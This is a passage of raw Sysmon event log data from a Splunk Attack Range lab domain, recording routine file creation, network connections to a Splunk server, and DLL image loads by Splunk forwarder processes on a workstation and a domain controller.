Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C012E7341BE5BB5CA2DD8F259D0FD09,SHA256=206A124DDBACE4F31C40AC7012001A44F1C5CA4C272E156D6984750ED67ABC44,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017916Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:12.654{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=556AEBEA0309F65BDD3BC0CF845A1B83,SHA256=5ECFDE043715549C9B549010E66E5F1E576A41902C510C2D27BD743EF7466356,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017915Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:10.376{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50390-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017917Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:13.669{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3F4A80F634D7935E8CF0803BA9A75B4,SHA256=1C10E3BA41BAC2FA8698FBD37DDF6BEFDEFECB92C0D67B523C2D1591574B3D7D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:13.079{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47F305B1BA290E204AC2C932AFCDFB31,SHA256=30CD49FA721125F0F3914DED0299375E833E797F0C8AD7756998FEAB4A0602DF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017918Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:14.669{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26BC82C23D0ACA62247547A04E8F7ED9,SHA256=E3ADFAE9B396CF5BA213ADB22DC5B4DF35868833EFCBDB57DE4AF94E4EE0F235,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:14.983{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=79A2586783D032E376E377C94E6969E0,SHA256=45DFF192653CD5D32747E09F74CA8C5D4669FD3E21793F6479C5D6637838EFA5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:14.982{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=6BF52A90094049A877E82B907EDD622B,SHA256=5BAFA1664CD9D833548CF48B7DB9AF6450D0A05F89D98F8CDEB1524063B863FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:14.981{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=23C3956271474364273A215B15C493C0,SHA256=63A6614B559AF687C878C7356B6AE260A7727C03AC4D61E55BA69B983137E237,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:14.980{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=0D3AF897839307C62A54E093F4B2367A,SHA256=569AA1AD2E778BFEA12732D13444E87D607305223491F88E688F8E396467D014,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:14.980{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=CC6FE84F30B7DE14C7E2C6F9D4CE98BF,SHA256=19B4C9C6A220C318D001F1ED8321C9C5DCE0B581B3B621BF2F7F887F5443FD3B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:12.520{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63160-false10.0.1.12-8000- 23542300x800000000000000055738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:14.082{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7B7C434EC8AE87E3E811B22E8A3FEB6,SHA256=00148FD399FD5E3021586C6CD75F17CFBAFF644B248A14530F29EDD1A0E31B4D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017919Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:15.685{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27505FB5A8E4965C11CDD8AE22B9D041,SHA256=DE28634F9BAFB4A3B05FB49C1D7D54E200CB88B901A9D97352B1D06EDD542F21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:15.100{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E768C8F1969A6FAD9ED9004B1039FADF,SHA256=42F40C965A6F1A43B7D6FB7944E6B92145ECA4BB7299FC8C3B44EACC06A2A30B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017921Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:16.700{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC5A0F71DFB75E07937AD01A29EBE9BE,SHA256=48DD31C7FBE74C70E73AEAC2A06F5AA44441902AC66AF110876F801D0CE4CC64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:16.199{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=439A39FA5C965C27731D7D742D21A180,SHA256=E737E6A71AEA3E54905C775D26F2478273A89A98C0649BF5142A4F4A00BD8B4D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017920Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:15.584{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50391-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017922Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:17.700{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B672CBE2F235D724B2AE92775C9E25D1,SHA256=CFA5772EA614F8F15D9DD912E927239CB94F2DCDCB25F37018ED454F0D00A221,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.984{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.983{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.983{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000055814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.982{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.981{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.981{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 